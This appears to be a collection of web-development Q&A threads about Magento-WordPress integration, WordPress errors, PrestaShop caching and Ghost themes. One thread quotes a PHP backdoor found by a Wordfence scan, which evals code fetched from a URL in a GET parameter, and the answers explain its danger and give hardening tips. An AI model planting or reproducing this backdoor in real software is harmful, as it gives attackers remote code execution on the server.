I'm updating Fishpig Wordpress-Integration to version 4.5.1.5 (with addons ACF, CPT, CS, Root, Multisite) in a new ansible-deployment. Now I get the follwoing error in the Magento-Backend :
Permissions The following file must be writable: /path/to/magento/wp/wp-includes/l10n.php
Why at all should a magento-module have write-permissions on a wordpress-core-file?
We prefer strongly to have separate concerns, so that the wp-core-files can't be compromised by anything from magento-side.
The questions are:
for which task in Fishpig (or it's addons) this write permission will be used?
could the _validateL10nPermissions() be overwritten for not checking this file without loosing an important functionality in Fishpig?
Would be great to get some clarification about this point.
This file needs to be modified because both Magento and WordPress have a PHP function with the same name, specifically the translation function:
function __($args);
It is not possible to have multiple functions in PHP with the same name. The only way to include the WP code base into Magento and make it available is to stop either Magento or WordPress from defining this function. The module chooses to modify the WP file instead of the Magento file.
The modification it makes it a simple one. It simply wraps the function definition in WordPress with a call to function_exists. This checks whether the function has already been defined (ie. in Magento) and if it has, it doesn't define it again. If it hasn't been defined, it defines it.
if (!function_exists('__')) {
function __($args);
}
This allows WordPress to work on it's own and when included into the Magento code. Without this modification, it is not possible to use Magento and WordPress together.
Write permissions are only required if the file does not include the modification. If the file already includes the modification then write permissions are not required. If you don't want to give write permissions on your live server, have the file modification take place either on a dev/staging server or make the file modification yourself as part of your deployment process.
Related
I have been looking at the Wordfence scan results on my site this morning and see 17 instances which seem to imply malware has ben installed on the server. I would be surprised if this were to be the case but wanted to be sure:
One example,
Filename: wp-admin/menu-header-cron.php
File Type: Not a core, theme, or plugin file from wordpress.org.
Details: This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: <?php\x0aif (isset($_GET['limit'])) {\x0a eval(file_get_contents('http://' . $_GET['limit']));\x0a}
The issue type is: Backdoor:PHP/numeric.rce.8527
Description: Remote code execution malware
Looking at the file in question, the content of this file is:
<?php
if (isset($_GET['limit'])) {
eval(file_get_contents('http://' . $_GET['limit']));
}
Can anyone confirm whether this is an innocent file or something I need to quarantine/delete?
Also, has was this file created? It implies that remote code has the capability of creating new files in the wp-admin/ sub folder? Is there not a simple way to prevent this which would preclude any further instances.
Many thanks for any input
Answers:
Yes, this is a dangerous file as already mentioned by #Everlyn Woodley. eval() is not considered safe in production at all.
Further to verify, a quick grep "isset($_GET['limit'])" on source file of latest Wordpress package tells that its not part of it, hence again a dangerous code.
Yes, someone is able to upload files on your server. Probably they have uploaded some kind of web-shell and can manipulate any file on your hosting account. Its pretty common though.
To prevent it in future (given that you have successfully cleaned your current WP install), you can do few things, (there are plenty of articles so it would be redundant) but mentioning few might not hurt here:
Install or enable mod_security on server level
Always make sure you have latest Wordpress as well plugins
Use minimal plugins.
Simple but effective: Change location of wp-plugin and theme folders.
(https://wordpress.org/support/article/editing-wp-config-php/#moving-wp-content-folder )
If you examine access log of a regular WP install, you will notice that there are tons of bots hitting with known-vulnerabilities mostly targeting plugins folder, simply changing plugins folder location along with other security measures mentioned above can significantly reduce such hacks.
That snippet is reading the limit parameter then passing is as an URL to get a file. And eval function will just execute it
So its pretty dangerous
Forgive me if this doesn't make sense but I'll do my best to explain.
I am looking into creating a piece of software/web app which will generate a package file for website themes including only the options the user would need for their project.
The best example I can think of is the underscores WordPress theme generator. But I would also like to be able to include other files. Like for example a check box that simply says "include x.js library" where if the box is checked it will include that js file or files in the folder. As well as generate the theme name, author name, theme description version number etc.
In other words I need something like underscores, that also has the option to include extra files for the development team to quickly get bespoke WordPress themes up and running whilst also including all the optional assets that we use at the firm.
You can hold the basic logic, opening, reading, editing, closing of files in a php script that's triggered when the user submits a form.
One route to manipulate files on the server with php is to use fopen.
First enable fopen in the directory in which your files you want available for download are stored. Do this by including the following in a .htaccess file in this directory:
php_value allow_url_fopen On
In whatever script you would like triggered on form submit, you can change say the author name with something like the following (you'll obviously want to target where you're writing to, I imagine with FSeek):
$downloadable_theme_index = 'index.php';
$handle = fopen($downloadable_theme_index, 'w') or die('Cannot open file: '.$downloadable_theme_index);
$new_author_name = 'Abe Lincoln';
fwrite($handle, $new_author_name);
The logic for what files are available to download could basically be form logic that provides links to download based on user input.
Additionally, there are download manager plugins available in wordpress.
I'm working on a Prestashop site and recently noticed about the SMARTY features (Menu: Advanced > Performance).
I realized that in order to show changes I made in the css, I must select one of the last two options (first one was selected by default).
Screenshot (I'm sorry the site is in Spanish)
1)Never recompile template files
2)Recompile templates when files are modified
3)Force compilation
My question is: when it comes to an online shop, wich option should I select until I finish editing the code? What's the difference between both?
It may take me a couple weeks to finish the job and I don't want to mess anything up.
Thank you guys.
When you're starting to dev onto the shop, whether it's front or back, you may have to choose the option to recompile when files are modified. I'm always choosing this option because it allows me to develop or debug some files and the server keeps serving cache files to the visitors.
Also you may have to edit the file defines.inc.php file in the config folder in order to define the _PS_MODE_DEV to true, for example like this :
/* Debug only */
if (!defined('_PS_MODE_DEV_'))
if (in_array($_SERVER['REMOTE_ADDR'], array('217.128.240.59')))
define('_PS_MODE_DEV_', true);
else
define('_PS_MODE_DEV_', false);
Doing this so you'll be able to get some logs when you're updating something. Placing your IP into the array keeps everyone safe from seeing the logs (notices for example).
In PS 1.6.
- Configure the SMARTY to "Recompile templates if the files have been updated" then deactivate the option "Smart cache for CSS"
- make the changes in your CSS files,
- delete the folders mentioned sadlyblue in comment.
- and activate again the "Smart cache for CSS" SAVE to recompile theme.
In Wordpress i can get this error message while update into wordpress4.4
how to reset my website
Fatal error: Call to undefined function wp_installing() in /home/u365143419/public_html/keerthikaprinters/wp-includes/functions.php on line 1354
Here's what helped me to fix the problem:
1) create a backup of all files and the database (highly suggest)
2) Delete all files and folders except for the folder wp-content. You will need this folder. It contains all the files for your theme and plugin.
3) Replace all the wordpress files in the install download EXCEPT for wp-content.
4) Update wp-config.php with your database credentials. They can be retrieved in your current wp-config.php.
5) Test your website. If all seems well login into your admin panel and see if the database needs updated.
Hope it helps, if you didn't already solve the problem.
The function wp_installing is a new function in /wp-includes/load.php, as of WordPress v4.4.0.
From my research/experience, there are 2 reasons for the problem (and it could be both):
1) Corrupted WordPress files, for example caused by an incomplete update installation, in which case you need to reupload (eg. via FTP) the core WordPress files (ie. /wp-admin/, /wp-includes/, and the .php files in the root of your WordPress site (although be careful with wp-config.php if you have a dev environment version too!)). At the very least check that /wp-includes/load.php includes the new function definition for function wp_installing().
2) WordPress becomes "confused" by an update installation (for example by a failed update), thinking that it is in the installation process, when it is not (or when it failed partway).
After making sure that 1) was not the problem (by doing a file comparison between the 'out of the box' WordPress files (from the WordPress zip download), doing a bit more research, and pulling my hair out), I found that there is a WordPress PHP flag WP_INSTALLING that the core uses during an update as part of handling the installation process. At my wits end I temporarily put the following in wp-config.php:
define('WP_INSTALLING', false);
and reloaded my failed/broken site, and lo and behold, my WordPress site started working! I then remove this line, and the site has been working fine since.
I can only assume that because my first attempt to update WordPress using the automatic WordPress update feature failed, and that when I then FTP'd up all the WordPress core files in attempt to do a manual update to fix it, that WordPress was somehow confused as to what state it was in (which even restarting the web server didn't fix). Forcing the WP_INSTALLING flag temporarily to false thus got WordPress sorted out internally, and allowed things to operate normally again. Interestingly after doing this, WordPress prompted me to update my database (which I did), and which seems to me to confirm that the WordPress update installation got interrupted midway and was the cause of my problems/this fatal error/WordPress thinking that the WP_INSTALLING flag was actually currently set as true.
When using ghost depending on the theme it will be grabbing the assets from the folder
ghost/content/themes/<ThemeName>/assets
Is there a general place to put assets ambiguous of the theme that you're using? The idea being to have a CSS file for a post referenced no matter which theme is currently being used.
My current work around is to have a file like so
ghost/content/general/css/file.css
And then linking it via
ln -s ghost/content/general/css/file.css ghost/content/<ThemeName>/assets/css/file.css
This is of course not optimal and I'm sure there's a better way.
Unfortunately not; Ghost is built similarly to WordPress, in that a theme is meant to be entirely self-contained. Of course there is nothing stopping you from directly referencing a hard-coded address in your themes (that may look outside the scope of its own folder), but this is not advised.
Also worth mentioning that you won't be able to use the {{asset}} helper for anything that isn't in your /assets folder.